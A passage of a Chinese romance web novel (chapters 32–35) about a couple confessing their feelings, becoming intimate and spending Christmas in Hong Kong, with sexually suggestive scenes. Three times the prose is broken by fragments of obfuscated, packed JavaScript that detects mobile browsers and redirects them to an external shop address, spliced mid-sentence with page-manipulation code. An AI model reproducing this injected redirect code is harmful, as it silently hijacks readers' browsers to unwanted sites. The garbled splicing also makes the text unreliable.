她以为是路过的车辆,往旁边让了让。却没想到那辆车却直接停在了她身边。 车门打开,从驾驶位下来一道人影。灯光交错下,和黎泱的影子交叠在了一起。 是沈有容。 黎泱也没想到沈有容会追上来。 只是转瞬的愕然,他拉住了她的手腕。顺势用力,把人带到了自己面前。 沈有容逆光站立,黎泱看不透他在想什么。 她不是已经全都说出来了吗? 还追上来做什么,要看她的笑话吗...... 树影摇曳晃动,有不知名的鸟叫声。好像起了雾,周围朦朦胧胧的,连灯光也被模糊。 黎泱看着沈有容抓住自己的那只手,苍劲有力,皮肤下隐约透出青筋的纹路。他很少有这样失态的时候,就好像,生怕没有用力握住,会再也抓不到她。 她为自己这突发的念头觉得可笑。情绪都藏在了浓密的眼底,慢慢平复下来,沉到不见天日的最底部。 她突然觉得好累,疲惫地说:“你放开我......” 都结束了。 “黎泱。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105114|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我钟意你。” 他们两个人同时开口。 黎泱怔住,觉得听得好不真切。 沈有容定定望着黎泱,回想起她刚才夺门而出的那一刻,心脏刹时生起强烈的落空感。 她在家中说的那些话,让他恍然大悟。 意识到,黎泱不是不喜欢他。而是因为太看重这份感情,所以才在没有得到肯定的回应前,患得患失,自我怀疑。 是他没给到黎泱足够的安全感。 沈有容开始后悔,他为什么没有早一点看出来,为什么没有在黎泱犹豫不定的时候站到她身边,坚定地告诉她:他钟意她,从很早就开始,比她想的更热烈。 就像沈闻时那天对他的告诫: “有些话,是要当面和对方亲口说出的。” 他本以为自己已经通过行动表明了心意,可是落在黎泱眼中,对经历了那么多次幻想扑空的她来说,看到的只是一份捉摸不透的,若即若离的感情。 “我之前总觉得,把喜欢和爱挂在口头边才最虚假。真的喜欢一个人,就千方百计对她好让她开心,她总会感觉得到你的心意。” 沈有容眉梢掩过一丝自嘲,是在笑自己。 “可我今天才知道自己错了。” 他过去太自傲,觉得亲口说喜欢多牙酸腻歪。整天把爱来爱去挂在嘴边,就好像在卖弄廉价的爱情。就连第一次和黎泱接吻的时候,也只说是“恋人”关系。 沈有容以为这样就能足够贴切地形容感情。 可忘了,真正的喜欢是要设身处地,站在对方的立场去想。 对爱的人亲口承认“喜欢”,那不丢人,也不虚假。 而是告诉对方,你一直在她身边。 “黎泱,我喜欢你从来不是因为新鲜感。是我过去自以为是,觉得不用说出口你也会明白。” 沈有容难得有这样悬而不定的时刻,因为他现在格外珍重说出的每一句话。 是补救,也是挽留。 “我钟意你,很喜欢。和你在一起的感觉是过去二十多年人生中从来没有经历过的。” “黎泱,别走,留下来。” 沈有容一连说了那么多的“喜欢”,最后请求的是她留下。 黎泱牙关发涩,喉咙像被堵住一样。 就好像跋山涉水的朝圣者,历经千难险阻觉得前路渺茫的时候,回头,发现苦苦寻求的神明一直都在自己身后。 不敢置信。 沈有容是喜欢她的。从来不是因为一时兴起,是发自内心,是因为不懂得表达的笨拙,是醍醐灌顶后的慌乱,最后化成一句句直白的“钟意”。 他们怎么爱得这么傻,这么纠结。 “别哭,黎泱。”沈有容将黎泱紧紧搂在怀里,像失而复得的珍宝,小心翼翼。察觉到她浑身温度那么低,他把人抱进车里。 车内空调刚刚启动,暖风才开始□□。黎泱越过中控台,半个身子朝沈有容倾去。她疯狂贪恋他的体温,想从中汲取温度。 沈有容接住了她,另一只手从她的腋下穿过,让黎泱整个人坐到了他身上。 黎泱笨拙地去找他的唇,想撬开他的牙关,毫无章法地碾压着沈有容的薄唇。 沈有容深吸了一口气,手掌深深向下压着座椅的皮革。他稍微偏过头去,和黎泱拉开距离,让她亲不到。 他托着黎泱的腰,坏心眼地故意问:“你也喜欢我吗?和我钟意你一样吗?” 沈有容啄了下她的耳垂,在她耳边压低声音,循循善诱道:“我想听你说钟意我。” 黎泱急得快要哭了,双手环住沈有容的脖子,用那天给他唱那首粤语歌时学会的话,说:“沈有容,我钟意你。” 她腰上的手骤然收紧,沈有容盯着她的目光深沉又灼热,用力地仿佛想要刻上印记。 “你躲不掉了。” 滚烫的皮肤,加重的喘息,还有啧啧的水声。 这场吻谁是先开始的那一方,已经不重要了。没有克制,只有铺天盖地的炙热爱意。承受,给予,只是想向对方证明心意。 暧昧的银丝被拉出,然后断裂。范围已经不止于唇部,脸颊,耳垂,后颈,以及锁骨。细细密密的吻像雨点落下,不给黎泱喘息的机会。 沈有容的手掌抵在她背后,在那些危险的地方游走,却从来不停留。 “呜......停下......” 她受不了了。 磨人的,难耐的。身体像陷入一个怪异的生理反应,滚烫,发热。 黎泱想让沈有容停下。她去找他的手,结果刚碰到他的手掌,却发现不是干燥的。 而是,黏腻的,湿润。 “嗯,湿了。” 沈有容忽然笑了,附在她耳边,嗓音沙哑吐出一句话:“黎泱,你把我的裤子也弄湿了。” 33. 不夜33 33 玄关门被撞开,又被沈有容反手推上,严丝闭合。 空阔的别墅内只有他和黎泱两人,像一场无声的邀约,只有两人的参演。 黎泱被沈有容从车上抱下来,脑袋埋在他的胸前,羞赧到说不说一句话。沈有容的双手托举着她的腋下和小腿弯,皮肤相触挨得那么近,她心跳得更厉害。 “要先洗澡吗?” 他低头问她,声音像渡上一层失真质粒,性感又磁沉。 黎泱想换掉身上让她难受的衣服,可又不想让沈有容离开。她脸上早就染上了一层绯红,像汲待成熟的果实,诱人采摘。 “沈有容,”她开口,声音带着自己都没有察觉到的别样颤音,“我......想要你。” 放在她背上的手掌骤然收紧,箍得黎泱有些疼。就好像是为了确认什么。 沈有容问了她三个字:“想好了?” 黎泱没说话,只是攀住他的脖子,眼睛看着他。 于是一切都在不言而喻中发生。 沈有容调转脚步,去了他的卧室。 屋内的恒温设置让人置身于舒适的环境下,即使褪去了衣物也不会感到凉意。这是黎泱第二次进到沈有容的房间。第一次纯粹是意外,她眼睛恢明后撞见了他换衣服的场面。 她被放到大床上,身下是柔软细腻的高支蚕丝床单,贴合皮肤,顺滑带着一点凉意。 腰上的衣摆在摩挲中被卷起,黎泱一小块皮肤裸露在外,白皙晃眼。 沈有容俯身压着她,稠密的呼吸撒在她的颈间,刺激着神经末梢。 黎泱看着他近距离放大的五官,让人挪不开视线。再次感慨沈有容眉眼生得真好。 察觉到她竟然在这种时候还能走神,沈有容失笑。 “在想什么。” “我在想,这位沈先生,生得好正。” 黎泱故意用粤语说出这句话。 沈有容愣了片刻,哂笑。用手指滑过黎泱的脸颊,停在她的下颌上打圈。 “可我觉得面前的这位黎小姐更好看。” “脸红也很漂亮。” 他就着这个姿势在黎泱的唇边轻点两下,并不留恋。然后坐起身,单手解开了自己的衣服。 因为是直接从公司回来的,沈有容身上还穿着上班时的正装衬衫。除去第一粒纽扣未系,他从上往下,骨指分明的手掌一颗一颗解开扣子。 衣襟大开,不复工作时的清冷严肃,露出紧实线条漂亮的胸肌,完全是血脉偾张的画面。 真勾人。 黎泱咬唇偏过头去,强迫自己转移视线不去看。 紧接着,她听到了拉链开合和金属腰带碰撞的声音。 到了这个时候,刚才上头的那股热意有些退去,取而代之的是姗姗来迟的退缩。 “害怕了?” 黎泱咽了咽口水:“......沈有容,你亲我一下。” 借着吻,分给她点勇气吧。 沈有容眉梢微挑,勾着笑:“只要一下?” 他又覆上来,手臂撑在黎泱的身侧,强势地占据她所有的视线。因为常年锻炼,沈有容的身体线条利落又流畅,带有极强的观赏性。 黎泱登时涨红了脸,横过一支胳膊挡住眼眶,视线不敢再乱瞟。 沈有容偏偏没如她所愿,拉下黎泱挡住眼睛的手,放在了他的身体上。 慢慢的,沿着皮肤纹路,向下—— 黎泱的头脑当即宕机了,像有烟花炸开,一片空白。 她的表情被沈有容看在眼里,就在她失神的刹那,吻了下去。 “你想要的,我都给你。” 窸窸窣窣的布料摩挲声,淹没在了溢出的呜咽和腻人的水声中。 黎泱呼吸急促,声音也变了调:“灯,关灯.......” 绵密的呼吸交错,沈有容按住了黎泱的手掌,穿过指缝,两人十指相交。 他的额角蒙上一层薄汗,顺着下颌滚落到喉结上。性感的喘息落到了黎泱的耳中,嗓音那么蛊惑妖冶。 “可我想看着你。” “泱泱,睁眼,看着我。” 他唤了她的名字,叫的是“泱泱”。 缱绻缠绵,直白热烈。 黎泱不记得这一晚是怎么睡过去的了。 意识的最后,她好像听见沈有容说了一句话。可究竟说的是什么,听不清,也记不住了。 . 好累,好疼。 这是黎泱醒来时的第一个念头。 她睁开眼盯着头顶的天花板,适应了好久,才回神发现这是自己的房间。 可昨晚......她不是在沈有容的卧室吗? 黎泱转头看向身旁,空荡荡的,但是那一侧的床铺明显有人睡过的痕迹。 她掀开被子坐起身,衣服被换过了,身体是干燥舒适的。家里佣人都放了假,小梅也不在。谁做的,答案不言而喻。 黎泱使劲搓了搓脸,甚至发现头发都被洗过吹干,还细致地抹了护法精油。 这些都是沈有容做的? 为什么自己一点印象都没有了啊! 她刚下床站到地面上,立刻倒吸了一口气。感觉就好像她昨晚和沈有容打了一架,而她是被单方面揍的那一个。 可是明明昨晚......她好像也很舒服的来着。 黎泱赶紧摇头打住了继续往下想的念头。走出房间,在楼下客厅看到了沈有容。 他正从厨房出来,手中端着两个瓷白的餐盘。毫无疑问,是亲自下厨做了早饭。 “醒了?不再睡一会。” 黎泱看了一眼时钟,发现已经快十点了,比她平常的生物钟晚了三四个小时。好吧,也不知道昨晚到底是几点睡过去的。 吐司,培根,还有煎鸡蛋。简单的早餐,但对消耗了一晚精力的黎泱来说是缺不了的能量补给。 沈有容将一杯热牛奶推开她,“润润嗓子。” “......” 黎泱娇嗔地瞪了他一眼,进行无声地控诉。 她早上醒来的时候,还以为自己是被毒哑了。 沈有容一本正经地看着她,说: “抱歉。” “是我不该贪恋你的声音,应该用吻堵住你的嘴。” “......咳咳。” 黎泱被呛住,再也说不出话也不敢看沈有容的眼睛了。她埋头对着餐盘里的食物,像个仓鼠一样将腮帮塞得圆鼓鼓的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120834|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈有容抱臂坐在她对面,乐得自然地观察着黎泱。 用完早饭,黎泱原本打算自告奋勇去洗碗,结果看着沈有容把碗筷都推进了洗碗机里。她只好作罢,去找别的事做。 想到昨天换下的衣服应该送去洗衣机,但黎泱把房间找遍了都没有看到衣服的影子。 “沈有容,昨天我的衣服呢?” “扔了。” 沈有容擦干净手走出厨房,解释道:“烂了,穿不了了。” “那......洗衣机里洗的是——” “换下的床单。” 黎泱总算明白,为什么她是在自己卧室醒过来的了。昨晚的一室狼藉,竟然都是沈有容一个人处理的。 而且他还分出精力替她清理了身体又洗头。 真是难为港城顶级豪门的沈家二少爷,向来过的是众星捧月眼高于顶的生活,十指不沾阳春水,却纡尊降贵来伺候她了。 表明心意坦诚相见后,却让黎泱对如何和沈有容相处,有些无所适从。 只有他们两人待在家里,无论是坐着还是站着,都觉得不自然。 这是正常现象吗?还是只有她和沈有容是这种情况? 黎泱皱眉苦思冥想了半天,最后还是决定上网找经验。 她背着沈有容,以为他没有注意到自己在干什么。悄悄点开手机的搜索框,在上面敲下一个问题: “和伴侣发生关系后不知道怎么相处怎么办” 确认,回车,搜索。 界面刷新出来,内容五花八门。 下面热度最高的一条评论是:这还用想,肯定是因为对方服务不到位,让你觉得不满意啊!姐妹们,男人如衣服,不好用咱们就得换! “对我昨晚不满意?” 黎泱被突然传来的声音吓了一跳,回头一看,沈有容不知道什么时候站在了她身后。 她反应过来第一时间想关掉手机,结果对方仗着身高优势,轻而易举从她手中拿走了手机。 沈有容手指滑了两下屏幕,把大致的内容都看清楚了。 他把手机还给黎泱。就在黎泱以为万事大吉无事发生的时候,沈有容揽住了她的腰。 ——还隐隐作痛的腰。 昨晚发生的片段立刻在黎泱脑海中回放。她像是在狂风暴雨中摇摇欲坠的小舟,颠簸,摇晃。 再看到容光焕发神情愉悦的沈有容。 就好像两人打了一架,而黎泱是单纯挨揍的那一方。 黎泱生怕沈有容下一句会蹦出“再身体力行试验一遍让她满意”的话,于是赶忙脱口而出: “满意,绝对满意!” “这样啊——”沈有容拉长语调,手掌覆在黎泱敏感的腰窝上,不轻不重揉了两下。“既然这么满意,再体验一遍应该也很乐意了。好不好?” 他把重音放在了最后三个字上面。“好不好”,说得像是真的在期待探求黎泱的回答。 黎泱也发现了,沈有容的话术在不知不觉中提升了档位,全部用在了她身上。 这算什么,因材施教吗? 眼见着黎泱支支吾吾憋不出回答,沈有容拍了下她的头顶,松开手不逗她了。 “好了,去换衣服,和我出去一趟。” 34. 不夜34 34 沈有容充当了黎泱的半日“专属导游”。 大街上充斥着节日氛围,到处可见气球彩带点缀。一颗巨大的圣诞树在西九龙岸竖起,上面挂满了璀璨鲜艳的装饰物。 黎泱手中捧着一份刚出炉的姜饼面包,隔着纸袋,感受到丝丝热气和暖意传递到皮肤上。 她的膝盖上摊着一份旅行宣传小册子,是刚才在路边被人热情地发了宣传单。 上面有醒目的粉红爱心标题:“甜心蜜意圣诞终极指南,牵着心爱的ta一起打卡吧~” 沈有容刚从车外买热饮回来,正好看到黎泱咬了口面包,在低头翻那个册子。 面包外是巧克力涂层,吃的时候难免会沾到唇边。黎泱专心看着册子,没意识到嘴边沾到了东西。 直到沈有容出声叫了她的名字,她才茫然地抬起头。 “嗯,怎么了?” 他伸手指了下自己的唇,示意黎泱。 结果黎泱领会错了他的意思,身子移了移,凑到沈有容的嘴边亲了一口。 沈有容愣了一下,随即哑然失笑。 他趴在方向盘上,手臂支着脑袋看向黎泱,眼中闪过了一丝揶揄: “我是想让你擦掉嘴边的巧克力。但你给了我一个巧克力味的吻。” 听到这,黎泱窘了。 再去看小镜子,好吧,嘴边真的有东西。 她怎么......下意识就做出那个反应。 沈有容用指腹抹了下自己的唇,这个动作被他做得像是大牌的口红广告,一举一动透着矜贵。 他气定神闲地给出结论:“挺甜的。” 黎泱:“......” 啊啊啊,不要再说了! 她赶紧转移话题,指着册子上的一处图片对沈有容说:“上面说太平山顶观看日落的视角最好。” 沈有容不知道想到了什么,顿了一下问她:“想去?” 黎泱点点头,“刚好现在快到傍晚了,看完落日就可以顺道去维港看灯光秀。” 但是她忘记了一件事:作为港城最热门的地标景点,在这种节日里人流量更是不计其数。 如果只有她一个人,那还好。反正排队拥挤对黎泱来说是最普通寻常的事。 可现在身边还有一个养尊处优的男人。黎泱实在想象不到沈有容和她排队是什么画面。 她刚想打退堂鼓对沈有容说要不算了,结果就看到沈有容打了方向盘,驶上了一条没人涉足的道路。 前方设有岗亭,安保在看到车牌的第一时间便站直腰杆,投以尊敬的目光。 经过的时候,沈有容降下车窗,交代了一句话。 “别通知家里,只是路过。” “是,沈二少爷。” 黎泱这才意识到了什么。 沈家的豪宅,好像就是在半山。 这里的一片私人土地随随便便就能拍出高价,不对外界开放。难怪这条路上没有人迹,难怪他们能避开人群一路长驱直入。 这是真“走后门”。 但是紧接着,黎泱心中又升起迟疑: 要是万一和沈家人遇上,她到时候要怎么办? 沈汀仪和沈闻时还好,毕竟之前见过面。可如果遇到了沈父和沈母,那得如何是好? 要不,还是算了回去吧...... 沈有容从头顶的车载镜中注意到了黎泱的反应,停了车,不动声色开口问:“怎么了,心不在焉的。” 黎泱斟酌了话语,慢慢说:“你不用回去陪家人吗?” 今晚是平安夜呢,按理来说,晚上都会聚在一起的吧。 她从项怀英的口中了解到沈家和睦的家庭氛围。从和沈汀仪的日常交往中就能体会到沈家的家风培养是极好的。 沈家平常每周都有安排见面的传统,更何况是在这样的节日里。 还真巧,黎泱刚说完,沈有容的手机就响了。 来电显示不是别人,正是庄女士。 “有容,你在来的路上了吗?晚餐虽然还在布置,但是你大哥和Cindy都已经到了哦。” 话筒里隐约传来沈汀仪的声音:“啊啊啊妈咪又要拉我打牌了!大哥你怎么一到这时候就去接电话?!” 黎泱把目光转向别处,从开阔的林木中远眺,盯着不远处的高耸林立的楼群建筑。 沈有容就站在半山,甚至几分钟前才开过沈家的宅院。他面不改色回答庄女士: “发烧了,今晚就不回去了。” 黎泱闻言诧异地回头看向他。 电话的那头的庄女士也很惊讶,追问道:“怎么突然发烧了,现在温度退了吗?家庭医生联系了没有,服药了吗?项叔也没有和我提过......” “项叔回去陪家人了。”沈有容不得不提醒她。 担心庄女士会打给项怀音询问状况露馅,于是他不愿再多说想结束对话。就在这时,电话里响起了大哥沈闻时的声音。 “好了,记得照顾好自己。” 电话挂断了。 沈有容耸肩,心道大哥也许已经知道了什么。 黎泱踢了踢脚边的小石子,走在沈有容身边,问他:“你怎么说谎了。” 她刚才听得很清楚,沈有容竟然用了发烧生病的理由,说得一本正经。 “如果我说想和你一起回去,你愿意吗?” 黎泱突然停住脚步,怔神看着他。 这算什么意思?见家长? 沈有容要让她去见他的父母吗? 她久久没有说话。也许是惊讶,也许是犹豫,也许......是压根就没有动过这个念头。 沈有容敛了敛神情,伸手勾住黎泱的小拇指,语气正常道: “以前在国外的时候,这种节日我也经常缺席。再说有Cindy在,绝不会少了气氛。” “现在这位小姐应该把注意力分给我,专心跟着导游走。” . 庄女士看着被挂断的电话,眉心紧皱。 沈铮刚从书房出来,见妻子神色不对,立刻问:“怎么了?” 沈汀仪刚要回答,就见沈闻时朝她招了手,将她叫到了一边说了几句话。 听完,她眼睛睁大,满满藏不住的八卦之心。 沈闻时无奈地笑笑,轻声交代她:“为了Ethan和黎泱的事,你知道该怎么做?” 沈汀仪斩钉截铁地点头:“嗯嗯!保证完成任务!” 开玩笑,她可是守护二哥和黎泱姐的爱情小保安好不好! 二哥你就放心和黎泱姐去约会吧! 说干就干,沈汀仪把最好的演技用在了庄女士面前:“妈咪,前几天我去见二哥的时候就注意到他不舒服了。虽然他平常看着很健康,但是病来如山倒,说不定现在烧得连床都下不来了。” “这么严重?”庄明意更放不下心了,觉得她还是去亲自去浅水湾看一眼为好。“我现在就让人去备车......” 沈汀仪傻眼了:“不不不——” 怎么感觉她要弄巧成拙了? “我已经问过家庭医生了,有容现在已经退烧没什么大碍,好好休息即可。” 关键时刻,还是沈闻时开口。“现在去可能还会打扰他休息。等白天让他给你回个电话就好。” 沈铮点头,也觉得沈闻时说的有道理,他宽慰庄明意:“怎么说有容他也不是小孩子了,你也该放下心。” 庄明意被劝了又劝,觉得也许是她真的小题大做了。她忍不住小声感慨:“要是他已经成家,我也不用这么操心了。” 知道真相的沈汀仪和沈闻时默默对视一眼,都各自笑着没说话。 沈铮在一旁看着,若有所思。 . “听说你今晚没回家?” 沈有容看了眼在兴致冲冲拍照的黎泱,往旁边走了两步才接话:“嗯,有事在外面。” 谈由夸张地附和一声:“什么重要的事,让你舍得现在还待在外面。”他故意开玩笑,“啊,总不能是在外陪姑娘约会吧。” “恭喜你,猜对了。” “......?!” 谈由对黎泱的印象还停留在医院的初见,只知道她是个长相漂亮可惜眼睛看不见的姑娘。他不知道后来黎泱眼睛已经恢复,更不知道她早就和沈有容住在一起,还确认了关系。 这叫什么?不鸣则已一鸣惊人吗? 本来谈由还觉得在这一代人际圈中,沈有容一定是最后一个成家——不,他之前压根就没想过沈有容会喜欢上谁和谁在一起。 因为沈有容过去对感情方面表现的太无所谓了。 他觉得情爱根本就是虚无缥缈的概念,妄图用这层关系困住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130186|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人的一辈子。 虚伪又无趣。 可谁能想到才短短几个月,沈有容就像变了一个人。 浑身上下像被爱情洗涤一样。 还能直接说出在陪女生约会的话。 这要放在以前,他怎么也不敢相信会从沈有容口中说出。 谈由:不对吧,这不对吧?! “别告诉我你和黎泱已经进展到这一步了。怎么,接下来是不是要见家长了?” 沈有容盯着黎泱的背影,沉声道:“会的。” 这下换成谈由说不出话了。 沉默良久,他才问:“沈有容,你这次是认真的?” 身为多年好友,谈由自然能看出沈有容这次是动了真格。可黎泱的身份......他也隐约知道一些,根本不是他们这个圈子中的人。 “我清楚自己在做什么。” 就像那天陪黎泱看的那部电影。她问:“沈有容,如果是你,会像那个男主角一样重新回到荧幕中吗?” 他才不会。 就算是她亲口说不再需要他。 他认定了的东西,是不会轻易放手的。 远离喧嚣的人群,周围根本没人打扰,黎泱在极佳的观景平台看完了日落。 从太平山顶可以将港城的天际线一览无余,俯瞰整座港岛。 夜幕逐渐笼罩,吞噬最后的一丝残余光线。华灯初上,无数的霓虹灯亮起,这座纸醉金迷的城市来到了它最吸引人的时刻。 沈有容收了手机朝她走去,本以为黎泱还要往前走,没想到她却转身摇头。 “我不要走芬梨道。” 她在那个旅游册上看到了,tips特别标注提醒双人游要避开芬梨道。芬梨分离,虽然是谐音,可停在有心人心里总会觉得不自在。 沈有容抬头看了眼那块道路指示牌,前方正是芬梨道。 和有名的观光路线卢吉道相比,芬梨道确实涉足的人迹要少些。 他当然能猜出黎泱的心思。 可是,他想亲自听到她说出来。 说,不想分离。 沈有容好整以暇望着她,双手插在大衣的口袋中,状似不解:“怎么,不往前继续?” “......就是累了,不想走了。” 黎泱抿了下嘴唇,不在然地说。 她如果真的说出内心想法,沈有容一定会笑她幼稚的吧。觉得她怎么连谐音都这么斤斤计较。 可是,她就是计较。 虽然只是谐音。 可那也不行。 沈有容一步步走向黎泱,眼看着要越过她,穿过路牌标识—— 黎泱下意识伸出手拉住了他。 她定定看着沈有容,眼中盛满了笃定和认真。这一刻山间无风无波澜,有的只是远处亮起的钢铁森林。它们幻化成一个又一个光点,和沈有容的身影一起,揉进黎泱的瞳孔中。 “因为我不喜欢分离。” 她讨厌美好成真前,又在手中失去。 黎泱自顾自说着,为她自己的话觉得也有些无理取闹,自嘲地说:“虽然听起来有点可笑,是不是?” 沈有容没有说话。 黎泱吐出一口气,松开沈有容的袖子,问他:“你会不会觉得我很计较?嗯,用粤语说,是傻女吧。” “我不觉得。相反,我很高兴。” 这次换成沈有容握住了她的手腕。 因为在乎,所以才会计较。 沈有容拥着黎泱,将她按在怀中,看着她的眼睛珍重地发问: “我想吻你,可以吗?” 如果真的能定格时间,这一刻一定在沈有容考虑的范围内。 这个吻无关任何情欲。 只是纯粹的,直白的,喜欢。 是回复黎泱—— 他和她一样。 沈有容捧着黎泱的脸,视线里只有她。为她的“幼稚计较”觉得欢喜,觉得她那么可爱。 “为什么会觉得自己是傻女?” 黎泱这时才羞意上来。这个词,自己说出是一回事,听沈有容说出又是另一回事。 却没想到沈有容接着开口,问她:“黎泱,你有没有听过关于这里传闻的另一个版本?” 他的语气,是从未有过的郑重: “芬梨道上无分离,太平山顶好结局。” 35. 不夜35 35 “你知道吗沈有容,我当时在来港的飞机上,什么都看不见。只听见忽然有人说,到维港了。” 黎泱盯着落地窗,视线外,就是夜幕下灯火璀璨的维港。 “那时候我还在想,有生之年,我有机会亲眼看看它的繁华吗?” 几个月之后,她的眼睛恢复。 此时此刻,就站在高楼之上,俯瞰维港全景。 江上有豪华的游轮,也有载满游客观看灯光秀的天星小轮悠悠划过。在黑夜中,每艘船上的吊灯都格外显眼。 沈有容看着黎泱站在窗前认真的背影,听着她用稀疏平常的声音说着刚到港城时的经历,心间划过一丝动容。 他没有从黎泱口中听到过关于过去糟糕生活的抱怨。 她一直没回头,在往前走。 从太平山离开后,两人在酒店餐厅用了晚饭。好巧不巧,正是沈有容第一次约黎泱吃饭的那家TheSeaSpray。 就和环环相扣的戏剧一样。 已经太晚,沈有容又喝了酒。他们就在酒店住下,等明天再回去。 项怀英当初预定房间时订的是两套房,那时他还没预料到两人的感情进展。等黎泱自觉抽走一张房卡后,沈有容觉得心情不太好。 “咳咳......我准备睡觉了。” 黎泱回头对沈有容说。 意思是,他是不是可以离开回自己的房间去了? 沈有容当然听出了黎泱的画外音,似笑非笑睨着她。 他曾经以为自己不会对情爱的事感兴趣,可昨晚的疯狂放纵,让他意识到自己也是普通人。遇到喜欢的人,也会在情难自禁,情爱中沉沦。 食髓知味,甘之若饴。 昨晚意识迷离的黎泱,可不像今天这样不要他的。 “好啊,那就睡觉。” 说着,沈有容作势站起身,要走向床边。黎泱紧紧拉着被子,结结巴巴说:“我......我要自己,自己一个人睡......” 沈有容知道再这样逗她下去,黎泱会恼羞成怒。而且,昨晚他做得确实有些过分。 他暗自叹了口气。既然人已经在他身边了,要的当然是来日方长。 不能急于一时。 沈有容最终什么都没做,只是抚了下黎泱的发顶。 就在黎泱以为事情要结束时,男人忽然折身而返。 ——向她索要了一个吻。 “晚安。” . 沈有容洗完澡披着浴袍出来,就听到了门铃响声。 开门,才发现是酒店提供的睡前服务。为了满足不同客人的需求,应侍者的托盘上会准备热牛奶和酒饮。 沈有容不需要,本想直接拒绝。但他突然想到什么,问那名侍者:“楼下的1023房间,也有这个服务?” 得到肯定回复后,他心里一沉。 上次黎泱在晚宴上醉酒的事,沈有容到现在仍记忆犹新。在那之后他一直看着黎泱,不让她碰酒精。 没想到今天却百密一疏。 他站在1023房间的门口,摁响了门铃。 等了许久,没人开。 沈有容皱眉,又敲了两下,还是没反应。 就在他准备打电话让前台派人上来时,“咔嗒”一声轻响,房门开了。 一颗脑袋探出头,面露茫然看着他。 “谁啊......嗯,沈有容?” 话音落下,黎泱扶着门框的手一滑,脚步踉跄险些摔倒。还是沈有容伸手扶住了她。 他进屋带上房门,往客厅一看,在看到托盘上空的杯子时确信,黎泱又喝醉了。 沈有容视线向下,看到黎泱光着脚背没穿拖鞋,就这么跑去玄关给他开了门。如果门外的不是他,是其他人呢?也这么没防备就放进来了? 他薄唇轻抿,屈膝跪在黎泱面前,找到被她踢乱的拖鞋。 伸手抬起她的小腿,微凉的指腹擦过光洁皮肤,让人身随之颤栗—— 黎泱不安分地往后一躲,原本是想避开沈有容的手。却没想到弄巧成拙,小腿顺势向上,踩在了他的胸前。 双方呼吸皆是一滞。 酒精麻痹的作用下,黎泱反应慢了半拍,瞪大眼睛看了好几秒才意识到不对,慌乱地要将腿收回。 可还是晚了。 沈有容握住她的脚踝,往前一拉,坐在床沿上的黎泱被连带着往前移动。 ——这是个暧昧十分的姿势。 黎泱的脑海中腾得燃起了一团火花。挥发上头的酒精和不断攀升的体温,以及面前男人侵略性的目光,都让她觉得房间内充满了费尔蒙的气息。 不行,不能这样下去。 即使不知道缘由,可潜意识里都在告诉她:这是危险来临的前兆。 “放,放手。” 黎泱想要挣脱,可沈有容看似手上没用劲,却箍得很紧。 沈有容用半哄骗半认真的语气,借着黎泱醉酒意识不清,对她说:“你知道自己昨晚对我做了什么吗?” 她做了什么? 怎么在黎泱的印象里,昨晚她好像过得......很惨? 很低的轻笑,从沈有容喉间发出。他松开了手,忽然站起身,解开了浴袍的带子—— 黎泱飞快别过头,可还是没忍住,透过指缝偷瞄了一眼。 但沈有容只是向下轻轻一拉,露出宽阔的后背。 ——布满红色划痕的后背。 他原本洁白的皮肤上出现了数道指印抓痕,颜色对比强烈,让印记暧昧不清。从表层刚结痂的现象看,无疑就是最近才发生的事。 而且,还是在后背这么一个耐人寻味的地方。 总不可能是沈有容自己抓的吧...... “眼熟吗?” “......有点。” 黎泱咽了咽口水,心虚地看了眼自己的手指。 别说,真的有点熟悉。 沈有容已经拉上了衣服,抱着胳膊好整以暇盯着她:“所以,你打算怎么赔偿我?” 他借着黎泱醉酒,真的是有恃无恐。看向她的视线,就像等待即将落入圈套的羔羊。 莫名其妙背上了一项债务的黎泱懵了。 强烈的负罪感让她觉得要做出行动表示。赔偿,赔偿,怎么做?可是酒精上头,让她根本无暇分出精力仔细去想。 沈有容精准把握好时间,顺水推舟,说出了自己的目的: “这样,你答应我一件事。” “什么?” “等假期结束,陪我出去见个面。” “见谁?” “到时候会知道的。” 听起来是件很容易的事,好像是比划算的交易。 但黎泱隐约觉得,以沈有容的性格,似乎不应该这么好说话? 唉,头好疼。 算了,还是不想了。好困,她现在只想倒头睡一觉。 见黎泱眼睛快要闭上,沈有容放低声音问她:“困了?” “......” 她没回答,只剩下了浅浅的呼吸声。 沈有容真是觉得无奈又好笑。他因为担心跑到楼下来查看黎泱的情况,酒疯倒是没耍,撩拨了他几下反倒自己先睡着了。 生气吗?当然。但是舍不得再弄醒她。 黎泱还真是上天派来专门磨他脾性的。 这样想着,沈有容在心里认命地叹了口气。他放轻手上动作,慢慢在黎泱旁边躺下,替她仔细掖好了被角。 什么都不做,抱一下还是可以的。 